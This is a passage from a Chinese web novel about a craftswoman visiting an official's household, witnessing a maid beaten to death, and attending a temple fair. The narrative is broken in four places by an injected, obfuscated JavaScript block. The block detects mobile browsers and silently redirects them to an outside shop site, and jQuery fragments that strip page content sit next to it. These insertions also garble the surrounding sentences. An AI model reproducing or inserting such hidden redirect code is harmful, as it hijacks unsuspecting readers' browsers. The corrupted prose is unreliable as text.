刚嫁过来时，确实过了一段时日的恩爱生活，与容貌俊雅的夫君举案齐眉，只是好景总有尽，等她撞见夫君与其贴身侍女宝顰在书房里苟且时，才渐渐发觉元家里的这些腌臜事。 “元家有祖训，嫡子女出生前，不允许抬妾，我嫁过来时见夫君后院空空，便以为他是个不好美色的正人君子，不成想是被祖训拘着，让他没法子光明正大抬妾。” 刘云说到此，脸色便冷了下来，咬牙道:“他那墨院里，七八个贴身侍女，全是私底下的通房，自十四岁起就在书房里伺候他了，宠爱得紧，前头那位进门时为此大闹过一阵，那些侍女就遣散了，只留了宝顰和宝盻下来。” “宝盻？” 余晚桃回想起先前在待客厅外，云姐儿喊身边的丫鬟，便是宝盻一名。 刘云扯扯嘴角:“宝盻是我自己要过来的，她性子本分使唤起来也顺心，不像那宝顰，一个卑贱的通房，竟真把自己当半个主子了，平日里吃穿用度，都要跟姨娘一样的月例，否则夜夜缠着夫君使些下作手段膈应人。” “宝顰姑娘我恰好在府门外撞见她了，是个眉高眼挑的，看着不好相与。” 云姐儿是个实心子的，哪里斗得过从小在高门大院里长大的侍女，平日里怕是只有吃闷亏的份。 “三少奶奶，宝顰姑娘求见，说有事要找您。” 刚说便到。 刘云不耐烦道:“我这有贵客在，哪里有空见她，只管随便打发了去便是。” “可……可是宝顰姑娘已经进院来了。”，来通传的丫鬟小心翼翼地道:“我们拦不住。” “都是没用的东西。” 刘云起身便要出去，亲自打发人。 余晚桃忙拉住她，让她且安心坐着，对那丫鬟勾起一抹笑容:“你去与那宝顰姑娘言，三少奶奶这朝没空，让她在院里且等着。” “这——” “这甚么这？还不快去！” “是，奴婢这就去。”，小丫鬟忙不迭应了话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149361|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒退着出了房去。 “看到没？这宝顰是半点没把我这少奶奶放眼里。”，刘云握拳虚虚在桌上捶了一下，俨然一副被气狠了又无可奈何的模样。 余晚桃只能宽慰她几句。 她是外人，总不好插手过多的。 晚些厨房来布菜，内院里开了门，刘云与余晚桃正在用食闲聊，那宝顰就一路横冲直撞地进来了。 她只敷衍地福了福身子，便幽怨道:“三少奶奶明明得空，却不愿见宝顰，莫不是因为最近几日少爷都留宿在我那，惹您不高兴了？” 刘云闻言便心头起火，只恨不得上去就给这贱蹄子两个耳光，整日里装柔扮弱的，好似旁人多亏待了她一般。 “没看见我这有客吗还咋咋呼呼闯进来，若是不懂规矩，就自己回去反省，莫到我院里来撒野。” 宝顰:“我原也不想如此，只是昨夜少爷说——” 话及此便顿住了，她脸露羞涩，柔柔地拿帕子挡住半脸，才忍着害羞继续道:“说想看我穿妃色罗裙，我隐约记得府里库房刚进了一批妃色云绸，是还未分配到各院去的。” “所以呢？” 刘云冷然凝视着她，眼里的讽刺一如在府门外时，宝顰看向余晚桃的那种眼神，厌恶又刻薄，仿若在看一个再低贱不过的东西。 她哼笑道:“那批妃色的云绸，母亲早就言明了，是要这个月分配给各院主子的，宝顰，你是哪个院的主子？” “我！”，宝顰面容扭曲了一瞬，很快又不甘心地冷静下来，再开口时嗓音婉转，似带了哭腔:“三少奶奶为何这般羞辱于我，这是少爷喜欢，我才僭越了来问一问的。你我同是伺候墨院主子的人，何必互相为难。” 刘云闻言用力拍向桌面，怒不可遏道:“我何时羞辱你了！” “元修己如今又不在我院里，你没必要在此惺惺作态的，令人作呕。” “三少奶奶怎可直呼少爷名讳，”，宝顰轻皱眉头，“少爷最不喜欢旁人直呼他名讳了，也只有前少奶奶这般喊他，他才会纵容着，若是旁人，怕是惹了他恼去，轻者斥责，重者打罚都是有可能的。” “噗——”，看了好一出大戏的余晚桃，听到这没忍住笑出来。 宝顰有些恼羞成怒:“你笑甚！” 余晚桃嘴角上扬:“没什么，只是觉得宝顰姑娘对你家公子是真上心，可谓处处体贴，事事周到。” 宝顰悄悄挺直腰背，颇有些自豪道:“我十二岁便到了墨院伺候少爷起居了。” 说完她炫耀似地看了一眼刘云。 刘云白了她一眼。 这时丫鬟徐步进来，福身禀告道:“三少奶奶，何姨娘过来了。” “让她进来吧。”，刘云没好气地瞪了宝顰一眼，这都是甚么人呐，扎堆过来给她找不痛快。 何姨娘是谁？ 余晚桃秉承着吃瓜人的本性，无声问刘云。 刘云靠过去，俯身到她耳畔轻声吐槽道:“我公爹今年刚纳的爱妾，以前是曲花游船里的清倌人，后来被水匪抢了去，年初我公爹带府兵剿了那伙水匪，顺便就将这位何姨娘收了。” 二人说着小话时，何姨娘就被丫鬟引进来了。 65. 第 65 章 余晚桃见到何姨娘第一眼，只觉得元同知或许为官不错，但为人真是个禽兽。 何姨娘给人的感觉只有十五六岁，有弱柳扶风之姿，细看下五官还稍显稚嫩，但一双眼睛却成熟妩媚，身上有着被人刻意调//教出来的风情。 “宝顰也在呀？今儿真是稀奇了，怎么不用在墨院那头伺候着？莫不是三少爷又得了个更贴心的小侍女，就将你给抛弃了？”，何姨娘一开口，声音便是与她外貌极其不符的刁钻，挖苦人的功夫一流。 她噙着笑说道:“若是真的，可说与我听，我改明儿给你劝劝他，我们宝顰是多好的姑娘呀，怎能玩腻了就扔。” 宝顰抠着帕子，僵硬地扯了扯嘴角:“何姨娘哪里的话，少爷整日刻苦读书，怎好为些个小事去打扰他。” 何姨娘正受宠，宝顰在她这向来讨不着好，她也是个识趣的，懂得哪里人不能惹，歇了妃色云绸的心思便告退了。 走了一个碍眼的，还有一个更碍眼的在。 刘云默不作声喝了口茶，清清心里的烦躁。 “这位便是三少奶奶家来的贵客？长得当真是清丽标致，不知成亲了没呀？有没有兴趣与我做个姐妹，一同伺候老爷。” 何姨娘正得宠，素日里说起话来口无遮拦的，但在府里这些正头奶奶面前，多少也会收敛些性子，这朝也不知是甚意思，竟将些上不得台面的话搬弄到了刘云跟前来。 “你有事便说事，无端在这阴阳怪气甚？还拿我娘家姐姐消遣。”，余晚桃未有表示，刘云先一步怒了，冷着声警告她:“再敢胡言我就告诉母亲去，仔细你那副狐狸皮子保不住。” 何姨娘忙捂嘴，老实了，缓缓道出自己的目的:“这个月我院里的月例，想多换几匹妃色云绸。” 刘云烦不胜烦，她又不是掌中馈的，怎么个个都找她来要布匹，“怎么不去同母亲说？我又不管这些。” 何姨娘道:“大夫人最近忙着老太太的寿宴，府里中馈不是由你暂代打理的吗？况且这都是些琐碎小事，哪里好特地去劳烦大夫人。” 不好意思去劳烦大夫人，倒好意思来她这使劲，刘云心中腻烦，想将人随意打发出去，又碍于对方的身份，不得不给几分薄面，怎说都是姨娘身份，她作为晚辈，得顾及着公爹的面子。 “各院每旬月例和用度都是定好的，那批妃色云绸是是从北地胡商那购入的，各院子都定了份额，若你多拿了几匹，便得有其他院里少拿几匹，届时二房三房的人闹起来，少不得攀扯到母亲掌家不公这上头。” 刘云说罢便朝她投去一个眼神，意思明显。 何姨娘欲言又止，不知想到甚么，索性不说了，施施然与人告别，扭身便走了，走前还意味深长地回头看了一下屋里的人。 那双暗含算计的眼睛，恰恰与余晚桃对上了。 余晚桃目无波澜。 原是与人叙完旧就打算回了，却在刘云的极力挽留下，她又多留了一阵子，就是这多留的功夫，教她真真见识了一遭高门大院里的腌臜事，是有多离谱。 为着几匹布，宝顰和何姨娘前后过来，都碰了一鼻子灰，两人又是惯会使手段的，等不到夜里吹枕边风，下午时值，府里便传出了些风言风语来。 大房的三少奶奶，代掌府内中馈后，立马便朝自己看不顺眼的人下手了，那宝顰姑娘前脚哭着跑出她院里，后脚何姨娘就灰头土脸地出来了，据说是被好一通羞辱。 刘云听到流言时，正要将余晚桃送出府去。 途径宴客前厅，元修己背手立于台阶上，唤住她，“云儿，家里来了客怎也不知与府里一声，也好起宴招待着，” 刘云侧身挡在余晚桃身前，微仰着头，柔声答道:“这是我娘家那边相识的姐姐，这阵子陪她相公过来参加府试，顺便过来与我叙叙旧的，已然在院里招待过，府里眼下忙着祖母寿宴，母亲也不得空闲，这些小事不好烦扰她。” 元修己捏着眉骨，朝立在自己妻子身后的那女子看了一眼，相貌倒是有些小家碧玉的气质。 他缓缓走近，伸手在刘云合于身前的手背上轻拍了拍:“母亲这些时日是忙了些，府里的事你多操劳着，辛苦了。” “云儿定不会辜负母亲所托，好好打理后宅，夫君近日读书用功也辛苦了，改日我让厨房炖些滋补的参汤送去。” “好，那便多谢云儿了。”，元修己顺其自然道:“方才宝顰那丫头哭着过来，说想要两匹近日府里刚到的缎子，你让库房拿给她便是，左右不过几匹布，何须惹得她哭啼啼的，教人知晓，该说你这当家的肚量小了。” 刘云笑得有些难看，她艰难扯着嘴角，维持着自己的体面:“各院里用度份额都是母亲定的，我也做不得主。” 元修己闻言脸上的笑意便淡了几分，轻皱眉头道:“左右不过是些小事，何须次次都将母亲搬出来，宝顰宝盻都是贴心的丫鬟，你从母亲那将宝盻要走便罢了，这朝如何？” “是打算将宝顰也挤兑走？”，他说到最后，已然有了几分怒意。 当着外人面，被自己夫君如此说教一顿，刘云只觉得十分难堪，身子摇摇欲坠险些站不住，她心中除了悲哀便是无尽的失望，最终这些情绪通通被掩下。 刘云声音冷淡，垂眸道:“既是小事，那夫君何必专门过来说这一趟。” “你怎如此小性善妒了？”，元修己失望道:“从前你最是温婉体贴，如今却是连个宝顰都容不下。” “元公子恐是误会了，云姐儿这般做，正是为了你着想。”，余晚桃轻笑道:“宝顰姑娘我方才见过两面，确是极好的姑娘，只是到底眼界浅了些，不是个能当家的，这看似只是几匹布的问题，其实不然。” “听云姐儿说那妃色云绸是极好的料子，从北地而来，各院都有固定的份例，若多给了她，那旁的院子便得少拿，听说贵府向来是大夫人掌中馈，从未出过掌家不公允的情况，若此事被有心人刻意扬出去，恐会有损大夫人威严，还会带累云姐儿。” 余晚桃自开铺子做生意后，脾性收敛了许多，与人说话温柔和煦，语气不疾不徐的，让人不自觉顺着她的话去思考。 元修己听得这一番话，思绪转圜，脸色诡异地变了变，他盯着面前这牙尖嘴利的姑娘打量，眉心微的愠怒。 这看似是在说宝顰姑娘眼界浅，实则却是在侧面嘲讽他，连宝顰那般眼界浅之人说的话都信，还为此冲自己的正妻发脾气，可不就是个不能当家的嘛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173958|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就是，连何姨娘说要拿月例换我都没同意，如何就能独独给她一个丫鬟开特例。”，刘云得了亲近之人的认同，这会分外委屈，说话声都不自觉哽咽。 “为着一个通房丫鬟来为难自己的正妻，老三我看你这么多年的圣贤书都白读了。”，一道威严的，带着深厚怒意的声音从正堂内响起，随之而来的是刘云压抑不住的抽泣声。 她小跑过去，临到那雍容华贵的妇人跟前停住，委屈地诉着:“母亲~” “云儿莫哭，母亲给你撑腰。”，徐元氏怜爱地替三儿媳妇按了按眼角，擦去泪珠，随后沉声吩咐身后的亲信嬷嬷，“去把宝顰和何姨娘带到正堂来。” “母亲——”，元修己顿时着急。 徐元氏积威甚重的眼眸看了他一眼。 元修己面色难看，最终拱手赔罪:“儿子知错了，但宝顰只是个丫鬟，有不对的地方儿子定会亲自管教，望母亲莫要怪罪为难她。” “后宅里的事何须你来操心，且回墨院里读书吧，这没你的事了。” “母亲……” “再多言，我即刻就将那贱婢子发卖了，看你被她迷得连身份都忘了，你大哥二哥皆是一心仕途的好孩儿，怎么到你这就整日沉迷女色不思学业了？丢人现眼的东西！” 元修己闻言便知自己母亲是真生气了，只得拱拱手，转身离开。 若再留下来为宝顰求情，宝顰怕是会被迁怒到，届时就真的只能被随意发卖了。 元修己一走，徐元氏低低哄了乖儿媳一会，才松开紧皱的眉头，牵着笑，慈和地招手让余晚桃上前来。 余晚桃缓行过去，福身行礼:“见过大夫人。” “是个好孩子。”，徐元氏亲切地扶她起来，将人拉到身边，笑道:“叫什么？是容县里哪里人家的姑娘？” “晚桃姐姐是大桑村余家的姑娘，手艺十分了得，靠自己的本事在县里开了一间首饰铺子。”，刘云抢着替人答道，“我那套母亲说很是喜欢的嫁妆妆面，便是晚桃姐姐做的。” 她笑眯眯地说:“她相公还是童生呢，此次正是过来参加府试的。” 徐元氏是大家出身，甚么样的人都见过，自诩看人的眼光也算准，面前这姑娘，眼神清明，坦荡，行礼回话不卑不亢，说起话来还十分有水准，懂得拿捏人心。 她对刘云口中的那位童生相公并不感兴趣，反而牵着余晚桃的手，与她一道步入正堂:“桃姐儿是自己开铺子做生意？” 余晚桃哪里不知，她这会走不成了，只得扬起笑容小心翼翼地应付着元府主母:“是的，今儿年头刚开的铺子。” 徐元氏点点头:“能自己做生意，便是个有主见的，咱们女子有傍身的手艺，在这世道里便好活多了。” “云儿若学得你一半的为人处世，也不会在自己家里教些贱婢子欺负了去。” 说话间，徐元氏落座主位。 刘云悄悄给了余晚桃一个眼神，将她拉到身边来，往徐元氏身旁，稍错开些距离站好。 不消片刻，宝顰和何姨娘被两个嬷嬷“恭恭敬敬”地请到了正堂里。 后面的事，看得余晚桃眉头没松开过。 只觉得，人命低贱。 66. 第 66 章 又一次被噩梦惊醒，余晚桃恍惚地觉得，她似还站在元府的正堂里，看着宝顰跪地求饶，额头都磕破了，徐元氏却稳稳坐着，眼皮子都不抬，吃了口茶的功夫便轻落落地将宝顰的命要了去。 “明日去医馆里教大夫看看，抓两副安神的药回来吧。”，崔玉棠睡得不深，跟着她坐起，拧着眉头无比后悔。 当日就不该让人自己去元府，害得见了那般血腥场面，把自己魇得够呛。 从元府回来已两日了，还是会半夜惊醒。 余晚桃捂着几乎要跳出胸腔的心脏，喃喃道:“那宝顰姑娘性子不好，被元三公子宠过了头，便失了身份屡次顶撞当家少奶奶，可是她百般千般错，也不该生生将人杖毙了。” 打到咽气时，宝顰腰部往下的位置全然成了一摊烂肉，血流了一地，可宝顰教人拿草席子卷了抬出去后，那群婆子们手脚麻利地进来擦洗，点香，换桌碟。 没多久那正堂里恢复了干净，何姨娘被吓得脸色发白，走也走不动，最后是让丫鬟搀扶着离开正堂的。 “那元府主母全程下来习以为常般的冷静，淡然，甚至传了许多点心上来，亲自拿给我吃，笑得慈眉善目。” 可余晚桃却觉得浑身冰凉。 “是我的错，早该同你说这些高门府院里的规矩。” 崔玉棠将她揽入怀中，很是自责。 她的娘子自小在民风淳朴的大桑村里长大，村里左邻右舍都是同族亲人，虽有争吵但都是小打小闹，少有闹出人命的龃龉来。 如今到了府城，人心复杂，那些个官家权贵里，家中下人多规矩也多，打杀奴才都是常有的事，有卖身契书在，谁也说不得甚么。 “若是将来一朝得中，有了功名，当了官，你也会那样做吗？”，余晚桃轻声问。 崔玉棠失笑道:“咱家里现在就有俩小厮呢，你看平日里都还是我这个主子下厨给他们吃。” 说了玩笑话，他突然认真道，“阿桃，世道就是如此，人命低贱，但我会努力往上爬，尽我所能护着这个家，我们不屑于做第二个‘徐元氏’，但也绝不能成为第二个‘宝顰。’” 宝顰愚蠢，天真，妄想着凭借元修己的喜爱摆脱奴才身份，翻身当主子，可最后却把自己的小命弄丢了。 余晚桃摇摇头，不再去想这些事。 她疲惫地靠在崔玉棠怀里，温热的胸膛贴着她的后背，肩膀宽阔得足以轻松将她揽住，就像被密不透风地包裹着，让人心安。 夜里依旧睡不安稳，余晚桃十分愧疚，崔玉棠过几日是要参加府试的人，现在却陪她熬着，本想说分房睡，话又在脱口而出的瞬间被撅了回来。 崔玉棠让她莫要胡思乱想，两人一道去医馆抓了药，让余小器煎上，药很苦但确实有用，喝完药后夜里睡得安稳多了。 转眼便到了府试日，小院里早早便忙活起来，等天色转亮，与崔玉棠互结的几位同窗都过来了，几人意气风发，在门外扬声催促。 “崔兄！再不快些可就排后面去了。” “去吧，你的同窗们都在，我就不送你去考场了。”，余晚桃抻抻他侧襟压出的褶子，眸子明亮，细声说着话。 崔玉棠轻嗯了一声，又不放心地多叮嘱了她几句，“若夜里还是会魇着，便带着小器去中街那头的大医馆，听说那有一老大夫，十分擅长以针灸治魇症。”，说罢，才转身阔步往外走。 余小器背上书箱，撒腿跟上去。 望着一行书生走远，余晚桃回身看了看空落落的院子，心里也兴不起旁的心思，便回屋里取了做绒花簪的工具箱出来，坐在院子里的李子树下，迎着阵阵微风，悠闲自在地做着簪子。 待一根彩尾翠凤式的绿玉镶簪做出来，她揉揉有些僵硬的脖子，起身在院里来回走着活动关节，恰好此时门扉轻响，外头响起云姐儿的声音。 余晚桃敛了眼底陡然升起的抵触，转身去开门，“云姐儿，你怎么来了？” 刘云笑得开怀，也不回她，待入院后才故作神秘地反问:“你猜我为的甚么事来？” “来搬那寿桃摆件？” “嗯哼，这是其一。”，刘云仰着下巴，开心道:“我可是带着任务来的。” 余晚桃慢条斯理地煮着茶水，静等着她下文。 见对方不配合自己，刘云噘噘嘴，索性不卖关子了，边低头摆弄着自己外袍宽袖上的刺绣纹路，边说道:“明日弘恩寺有集会，恰逢祖母寿诞将至，便想着去弘恩寺祈福斋戒一日，让我将你一道喊上。” “这不正巧你家二郎去府试了嘛，去弘恩寺拜拜，若能抽中根上上签，怎么也能博个好彩头不是。” 余晚桃实在不想跟徐元氏再有接触。 徐元氏待她和善，只是因着她目前没有触及到她的利益和威严，且一直展现出来的态度都是恭谨顺从的，若将来有一日她不再顺从，那下场是否也会和宝顰一样？ “云姐儿，我这两日还得多备些簪子，实在脱不开身，恐要拂了大夫人好意。” “左右不过一日功夫，簪子少做几根就是，我按府城里的价都买了。” 刘云接着劝道:“我同那些官眷玩不到一起去，你若不来我可无聊了，你同着去还能顺道拓客呢，到时让母亲给你多引荐些相识的夫人们，将来你在府城里开了分铺，那些可都是阔气的客源。” 这倒是个让人无法拒绝的理由…… 余晚桃实实在在地心动了。 她还没认真研究过府城这边的物价，心里没一个大概的数据，只知一根簪子的作价肯定是要比在容县里高的。 至于高到甚么程度？市场如何？再者府城里都流行着甚么款式的首饰妆面？ 这些她还未认真去调查过。 这次元府主母组织的祈福活动，邀请的门户应该都是府城里的达官显贵，这些夫人们，估计一肩挑着府城里的消费指标，从她们身上套消息，再合适不过了。 “好，我去。” 余晚桃咬咬牙，还是应了。 · 这次去弘恩寺祈福，徐元氏只邀请了各府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187689|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女眷们，男子一概不随行，余晚桃略微苦恼地盯着余小器看。 “明日你定是不能跟着去弘恩寺的，别个夫人小姐都是带着贴身丫鬟，我总不能独独出挑，领你一个小厮过去吧。” 余小器犟着嘴，说:“公子吩咐了，东家去哪都要跟着。” “不行，你不能去。” “就去。”，余小器拿崔玉棠的吩咐当圣言，理直气壮地顶嘴:“我也可以当丫鬟。” “你——”，余晚桃话到喉间戛然而止，她摸着下巴，围绕余小器走两圈，心里慢慢升起一个离谱的想法。 余小器就是小一号的崔玉棠，崔玉棠那张漂亮脸蛋的杀伤力可谓十分厉害，若是换个女子妆面该得多惊艳，可惜平时太过于正经了些，都教她遐想不下去。 如今，有小一号的脸蛋送上门来了。 余晚桃蠢蠢欲动，最后付诸实践。 翌日，她堂而皇之地带着自己新鲜出炉的丫鬟出门去，余小器别别扭扭地跟在后面，嘴撅得能挂葫芦，怨气冲天地瞪着余晚桃。 余晚桃挑眉:“怎么？不是你自己说可以当丫鬟的吗？” 余小器龇牙冒火:“可这样也太奇怪了！” 余晚桃睁大眼，“哪里奇怪了？你都不知道自己这样多可爱。” 她满意地欣赏着自己的杰作，淡妆面细柳眉大大淡化了余小器俊俏的小少年特征，一双眼睛乌黑灵动，扎着两个双螺髻，两条黄色的飘带顺到身前，将外衫抹胸式的侧襟襦裙穿得像模像样的。 十二三岁的小少年还没开始变声，只要刻意压低嗓音说话，是难以分辨出性别的。 这个模样这个年纪的男扮女装，可谓天衣无缝。 余晚桃是直接跟着元府的马车出发的，她与刘云同坐一辆，前面还有几辆载着徐元氏和二房三房的女眷，再加上随行的护卫，浩浩荡荡地朝城外的弘恩寺去。 护卫带兵器，不得入弘恩寺，只守着进寺的山路驻扎，马车也停在了山脚下，一行人簇拥着徐元氏，说说笑笑地往山上走。 余晚桃在这种场合自然排不上面，她自觉地走在后头，正慢悠悠走着赏景，就见打过照面的何姨娘，被两个嬉笑的女眷好一通奚落，最后低着脑袋立在青石阶边，等那些人走上去了，她才慢慢抬步继续往前。 这一停步，就与余晚桃成一个队了。 何姨娘自来熟地搭起话来:“元府这门关系可不好攀，你瞧瞧前头恁多官眷，全是来讨好元府主母的。” 徐元氏出身高，积威重，在后宅里的名声响亮，元郡松不管后宅事务，徐元氏在后宅独掌中馈，将底下大的小的都管理得服服帖帖，纵是何姨娘这样得宠的，也不敢在她跟前放肆。 宝顰死时的惨相，还历历在目，当是杀鸡儆猴了，宝顰就是那只被杀的鸡，儆的是她和府里那些生了心思的各院姨娘。 “你可知，宝顰死了之后，大夫人让婆子拿妃色云绸做了两身衣裳，一件让我穿着，一件叫人给宝顰换上，命我站在坟地里，亲自看着宝顰埋进去。” 67. / 双面刺绣 弘恩寺位于半山腰位置，时值初夏，山中林阴冠厚，曲径通幽之处微风轻拂，十分凉爽，清澈溪流蜿蜒在林间，流水潺潺，意趣高致。 抵达弘恩寺山门时，眼前视野顿时宽阔。 庄重古朴的寺庙大门外延伸着数步石阶，两旁站着许多小沙弥，合着手，念着经。 其中一披着袈裟的和尚，上前对徐元氏合手弯腰:“阿弥陀佛，今日祈福大殿已对外封闭，只会接待诸位贵人，徐施主，请入寺。” 徐元氏对待弘恩寺的和尚十分敬重，曲下腰，合手道了一句“多谢”，才迈过门槛，缓步入内。 余晚桃心不在焉地跟着去了祈福殿，在最后面寻了个蒲团坐好。 “东家，”余小器压低声音，鬼鬼祟祟地从殿门后面摸进来，“外面好像来了很多香客，都被挡在了后山集会那边，还有武僧拿棍守着，不准那些人进大殿。” “知道了，别乱跑。” 余晚桃心里不知是个甚么滋味，说来可笑，她这也算是蹭了一回元府的光，享受了一番贵人待遇。 弘恩寺集会必定香客云集，可因着今日是徐元氏定下的要过来祈福的日子，等闲人都得回避，不得冲撞贵人，若想要上香的，大殿进不来，只能往东西两侧的供奉殿去。 任外头光景如何，时下祈福殿里，已然满堂诵经声。 好容易熬过一遭，祈福结束，各家夫人们都遣了丫鬟去添香油钱，一锭两锭的银子眼睛都不眨地往里放，添了香油钱，便能从旁边的老方丈手上接过一枚平安符。 余晚桃让余小器拿了五两银子去放，回来时却听得人群里传出一声轻啧，“这是哪里的丫鬟，长得怪漂亮的，只是这主家怎这般小气，连个银锭子都舍不得拿出来。” 余小器凶巴巴地瞪过去。 “哟，还说不得了，真凶。” 几个姑娘掩着嘴自顾笑了起来，眼神直直往余晚桃身上打量，俨然是知道了余小器是谁家的，这会故意说出来，拿人取乐呢。 余晚桃嘴角微弯，坦然应道:“添香油钱本就是为图个积福的好兆头，正所谓心诚则灵，重要的是‘心诚’。依姑娘方才所言，却是有拿银子去衡量佛祖赐福之意。” “佛祖岂是能用俗物去衡量的。”，刘云朝方才取笑人的那几个姑娘投去冷眼，“佛门重地，各位还是留些口德罢。再者，今儿来的都是母亲亲自下帖子邀的，你若有不满意，只管说来，好教众人听听，你是有多高贵，连元府主母邀请的人都看不上。” 刘云丝毫面子都没给那几人留，说罢便拉着余晚桃大步出了祈福殿。 寺庙里静幽幽的。 刘云愤怒的声音惊飞了檐头歇息的鸟雀，“也不看看自己是个甚么东西，还好意思埋汰起别人来，当真以为自己是官夫人了，一副小人得志的嘴脸真令人作呕。” “与那些人生气不值当。” 哪怕是在大桑村那样简单的生活环境里，像方才那般的人都不会少，何况是在如此复杂的府城，挖苦、讽刺、贬低等手段比比皆是，若她都要计较起来，那真是三天三夜都骂不完。 不触及利益时，余晚桃还是很能忍的。 刘云自己是元府正头少奶奶，又得徐元氏喜爱，在外头根本无需忍着，她气不过道:“等会我就去告诉母亲，下次过来祈福，不给她们家下帖子了。” 余晚桃轻笑几许，并未回话。 - 晌午在弘恩寺里吃了顿素斋饭，徐元氏与老方丈在论经，刘云被留了下来旁听，余晚桃终于得了空闲，去摇了一根签拿给解签语的师父，最后倒真是解出了个上上签。 余晚桃捏着放签语的香包，对师父拜了拜，留下解签钱。 随后一路出寺，去后山逛集会。 集会出乎意料的安静，摊主们静坐着守在摊前，香客来来往往，摩肩接踵，瞧着多是一家人上来进香的，主大佛殿进不去，就在东西两侧的小供奉殿上香。 供奉殿走小门出来，就是望不到头的集会，两侧摊主五花八门，有卖字画帮写信的书生、卖素菜团子及各种吃食的妇人、布匹竹篮蔬菜水果等等，数不胜数。 余晚桃吃了一碗素萝卜丁馅的馄饨，汤偏淡白飘着翠绿葱段，入口微甜，口感独特，别有一番滋味。 吃了馄饨，余晚桃继续逛着，走动间忽而听到前方柏树下传来一阵声响，她抬眼看去，见个卖团扇的摊子被几个妇人推倒了，随之而来的是些旁观者的议论声。 “这也太过分了。” “就是，弘恩寺的集会摆摊位置，又没定是谁的，不都早到早占的嘛，恁的这几个蛮妇在这耍横。” “快去通知弘恩寺的师傅们，让武僧将这几个闹事的轰下山去。” 围观的香客越来越多，动手推倒别人摊子的那位妇人面红耳赤，大声驳斥道:“这摊位是我们先看上的！” 团扇摊妇人气急道:“我寅时初就上山在这摆好摊子了，怎么就成你们先看上的了？” “你说寅时就寅时，有证据吗你？” “你们简直欺人太甚！” 两方争吵间，弘恩寺的武僧正巧走集而来，那几个企图闹事霸占摊位的妇人顿时缩了脖子，灰溜溜地转到别处去了。 团扇妇人扶正自己被推倒的摊子，小心翼翼地将掉到地面上的团扇拾起来，重新摆好，围观的香客这才瞧见，这妇人卖的团扇竟是双面刺绣的。 余晚桃最先反应过来，唰地冲上去，两眼放光，“这摊子上的团扇，我都包了。” “都包了？！” 团扇摊妇人不敢置信地瞪大眼睛，旋即哆嗦着声音，高兴道:“姑娘，我这团扇五十文一把，您确定都包了？” 余晚桃点头，随后拿起其中一把团扇打量，用材粗糙但胜在手艺精湛，一扇两面，绣着不同形态的异色鸳鸯，扇柄缀着条毛躁的流苏。 若是拿上等的蚕丝着色异绣，扇框再精雕细琢一番，市场大有可为。 碰着个懂双面刺绣的绣娘，太稀罕了。 “这些都是你自己做的？”，余晚桃问。 团扇摊妇人点头:“都是我自己做的，这双面刺绣的本事还是从宫里传出来的呢，我娘以前是皇宫里的司制绣女，这门手艺精细，少有人学得成，如今就我一个跟她学成了的。” “姐姐既有这手艺，去府城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214652|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里随意一家布行上工，月钱应该都挺多的。”，余晚桃拿出钱袋，等妇人点清楚数后，递了半角碎银过去。 “我这这把年纪了，哪能承你一句姐姐，喊我贞娘便好。”，贞娘说罢兀自叹了一声，“我家里还有瘫在床上的相公要照顾呢，我娘年纪也大了，离不得人，那些个布庄工钱虽给得多，上工时辰却太长了，我家离城里远，下工后天都黑了，根本赶不回去。” “有些布庄倒是能提供住的地方，可是又嫌弃瘫子和老太太晦气，哪里肯接纳我们。” 余晚桃惋惜道:“可惜了。” 贞娘抬头:“可惜甚么？” 余晚桃笑说:“我家铺子正需要像贞娘这样手艺精湛的绣娘呢，也能给你们一家提供住处，可惜的是铺子开在容县，府城这头铺面还未有着落呢。” 贞娘顿住了，眼睛盯着余晚桃，像是在辨别她话里的真假。 余晚桃笑眯眯地任她打量。 也不再多言，带着余小器就扭头走了。 贞娘伸长脖子去追那道身影，直至人从后门进了弘恩寺，才惋惜地作罢，收回视线，从柏树后拿出其他的团扇，继续摆摊。 弘恩寺里，余小器抱着满怀的团扇，问:“东家，这些团扇怎么办？” 